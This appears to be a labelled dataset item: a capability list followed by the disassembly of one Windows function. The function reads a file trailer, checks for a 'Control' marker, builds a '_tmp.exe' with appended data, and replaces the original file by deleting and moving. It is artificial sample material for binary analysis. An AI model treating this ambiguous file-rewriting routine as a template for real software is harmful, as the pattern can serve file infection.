Function at 0x4032ae
Capabilities:
Delete file
Move file
Read file on windows
Write file on windows

Disassembly:
mov eax, 0x40928c
call fcn.00404738
sub esp, 0x50
push ebx
push esi
push edi
xor ebx, ebx
lea ecx, [ebp - 0x24]
push ebx
mov dword [ebp - 4], ebx
call section..text
mov esi, str.Mrak1pack
lea eax, [ebp - 0x5c]
push esi
push eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], ebx
call fcn.004041e0
lea eax, [ebp - 0x44]
push esi
push eax
mov byte [ebp - 0x4e], 4
call fcn.004041e0
add esp, 0x10
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x36], 4
push 0x40c7e0
call fcn.0040106a
lea eax, [ebp - 0x2c]
push str._tmp.exe
push eax
lea ecx, [ebp - 0x24]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 2
call fcn.0040106a
cmp dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 1
je 0x403334
push dword [ebp - 0x2c]
call fcn.00404359
pop ecx
lea ecx, [ebp + 8]
mov dword [ebp - 0x2c], ebx
call fcn.00402480
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call section..text
call fcn.00403601
pop ecx
cmp al, bl
pop ecx
jne 0x4035ca
push 0x40c810
call fcn.00401c15
mov edi, eax
pop ecx
cmp edi, ebx
mov dword [ebp - 0x10], edi
je 0x4035a0
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xffffffffffffffe8
push edi
call esi
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x44]
push 0x18
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
call edi
lea eax, [ebp - 0x44]
push str.Control
push eax
call fcn.00404a00
pop ecx
test eax, eax
pop ecx
je 0x4033b7
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4035a0
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
call esi
push dword [ebp - 0x34]
call fcn.0040434b
pop ecx
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x14]
push ebx
push ecx
push dword [ebp - 0x34]
push eax
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea eax, [ebp - 0x24]
push eax
call fcn.00401bdc
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
je 0x4035a0
lea ecx, [ebp - 0x14]
push ebx
push ecx
push dword [ebp - 0x34]
push dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x1c]
call fcn.00404359
push 1
push dword [ebp - 0x24]
push dword [ebp + 8]
call fcn.0040202f
add esp, 0x10
test al, al
je 0x4035a0
push 0x40c810
call fcn.00401c15
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
je 0x4035a0
push ebx
push ebx
push dword [ebp - 0x34]
push eax
call esi
push dword [ebp - 0x30]
call fcn.0040434b
pop ecx
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x14]
push ebx
push ecx
push dword [ebp - 0x30]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x10]
call edi
lea eax, [ebp - 0x24]
push eax
call fcn.00401c4e
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
je 0x4035a0
push 2
push ebx
push ebx
push eax
call esi
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x14]
push ebx
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x44]
push 0x18
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x1c]
call fcn.00404359
lea eax, [ebp + 8]
push eax
call fcn.00401c15
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x1c], eax
je 0x4035a0
push 2
push ebx
push ebx
push eax
call esi
push ebx
push ebx
push ebx
mov dword [ebp - 0x10], eax
push dword [ebp - 0x1c]
call esi
mov eax, dword [ebp - 0x10]
push eax
mov dword [ebp - 0x48], eax
call fcn.0040434b
pop ecx
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x14]
push ebx
push ecx
push dword [ebp - 0x10]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
push dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jne 0x403558
call edi
lea eax, [ebp - 0x24]
push eax
call fcn.00401c4e
cmp eax, ebx
pop ecx
mov dword [ebp - 0x1c], eax
je 0x40355a
push 2
push ebx
push ebx
push eax
call esi
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x14]
push ebx
push eax
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call esi
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
je 0x403565
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x18]
call fcn.00404359
pop ecx
jmp 0x4035a0
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x5c]
push 0x18
push eax
push dword [ebp - 0x1c]
call esi
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x18]
call fcn.00404359
pop ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4035a0
push dword [ebp + 8]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x4035ca
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], bl
je 0x4035b1
push dword [ebp - 0x24]
call fcn.00404359
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], ebx
mov dword [ebp - 0x24], ebx
je 0x4035c6
push dword [ebp + 8]
call fcn.00404359
pop ecx
xor al, al
jmp 0x4035f2
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], bl
je 0x4035db
push dword [ebp - 0x24]
call fcn.00404359
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], ebx
mov dword [ebp - 0x24], ebx
je 0x4035f0
push dword [ebp + 8]
call fcn.00404359
pop ecx
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret